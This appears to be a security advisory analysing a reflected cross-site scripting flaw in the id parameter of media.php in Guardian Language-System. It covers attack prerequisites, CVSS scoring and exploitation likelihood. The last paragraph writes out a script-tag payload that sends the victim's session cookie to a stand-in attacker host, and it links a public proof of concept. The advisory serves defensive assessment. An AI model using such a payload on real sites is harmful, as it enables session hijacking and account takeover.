Guardian Language-System EUVD-2026-41054

Exploitation requires the attacker to hold a valid authenticated session in Guardian Language-System (confirmed by CVSS PR:L). The attack further requires a second authenticated victim user to actively follow or load the attacker-crafted URL pointing to media.php (confirmed by CVSS UI:A - active user interaction). The vulnerable code path is specifically the id GET parameter processed by media.php; no other entry point is indicated. Exploitation is limited by: the authentication prerequisite for the attacker, the social engineering or phishing step needed to deliver the URL to the victim, and the requirement that the victim actively loads the malicious link. There are no special server-side configuration requirements - the vulnerability exists in default application code. The form action injection at line 129 provides an additional abuse vector even if script-tag filtering is applied, potentially redirecting victim form submissions without script execution.

The CVSS 4.0 base score of 4.8 (Medium) accurately reflects the constrained real-world impact. The vector AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N encodes three important limiting factors: the attacker must hold a valid authenticated session (PR:L), a victim user must actively interact with the crafted URL (UI:A), and direct impact on the vulnerable system itself is nil (VC:N/VI:N/VA:N) - consequence is limited to the victim's browser context (SC:L/SI:L). No EPSS data was provided in the intelligence package, so exploitation probability cannot be quantified from that signal. No CISA KEV listing exists, indicating this has not been confirmed in widespread active exploitation campaigns. However, a publicly available POC exploit hosted on a GitHub gist lowers the technical barrier to abuse. The net assessment is a real but moderate-priority issue: exploitation is bounded by the authentication prerequisite and requires social engineering or phishing to deliver the crafted URL, but the low complexity and available POC mean it should not be deferred indefinitely in environments with multiple user roles.

An attacker with a valid low-privileged account constructs a URL to media.php with a script tag payload embedded in the id GET parameter, such as id=<script>document.location='https://attacker.example/steal?c='+document.cookie</script>. The attacker delivers this URL to a higher-privileged user via email, chat, or a forum post within the application. When the victim clicks the link and their browser renders media.php, the injected script executes in the victim's session context, exfiltrating session cookies or performing authenticated actions on the victim's behalf. A publicly available POC on GitHub (https://gist.github.com/cyberinforepo/d5b2771d82e1b31b8fc1c33052e08dad) provides a working demonstration of this attack path.